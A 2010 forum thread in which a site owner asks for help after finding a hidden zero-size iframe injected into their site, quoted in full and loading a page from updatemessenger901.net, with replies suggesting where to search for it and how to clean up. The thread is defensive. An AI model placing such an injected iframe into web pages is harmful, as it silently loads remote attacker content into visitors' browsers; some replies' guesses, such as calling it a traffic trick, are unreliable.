My site got hacked ?

[KZEE]

i have a hidden frame on my site

dlsite.org

and i have no idea why it is there

<iframe name="ZUpySarUgu" src="http://updatemessenger901.net/whitehat/index.php" marginwidth="1" marginheight="0" title="NEpARuneWE" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>

can anyone help me to fix this?
thanks

KZEE Reviewed by KZEE on 12th Jul 2010. My site got hacked ? i have a hidden frame on my site dlsite.org and i have no idea why it is there <iframe name="ZUpySarUgu" src="http://updatemessenger901.net/whitehat/index.php" marginwidth="1" marginheight="0" title="NEpARuneWE" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe> can anyone help me to fix this? thanks Rating: 5

[shadeslader]

remove it?

if its just an iframe they use it to make it look like they get more traffic

change you passwords, and your permissions, see if there is any shells or if its a free theme or one you downloaded check to see if it comes with that in there

[vizoomer]

guess ur site now also gives some attacks

[Bread]

yea firefox closed to stop data execution lol

[KZEE]

the thing is i can;t find the code anywhere
Is it because I moved to wrzhost?
they support ticket system is not working atm
License Error: Key file has expired

[barcodenation]

I had the same issue on our site. I went to cpanel-styles & templates-style manager then went to edit templates of the skin we're using and I can't remember exactly but I think it was located in the footer. I think but i'm not positive.

EDIT: Actually I think I clicked on "Search in Templates" and typed in iframe and found it that way... It was like a needle in a hay stack for me since I don't know php and all that stuff. Took me forever to find it, but I finally did. If iframe doesn't show up search for
ZUpySarUgu or something. Good luck!

[aishamontreal]

I remember one of my sites has infected by one of ph4ze's sites with this same method, but the iframe was located in my database not template files.

[KZEE]

i checked the footer
it was not there
I even restored the whole theme backup I have,
still did not help

[KZEE]

I remember one of my sites has infected by one of ph4ze's sites with this same method, but the iframe was located in my database not template files.

how did you know where it was located in the database
mind sharing

[barcodenation]

Did you do the search?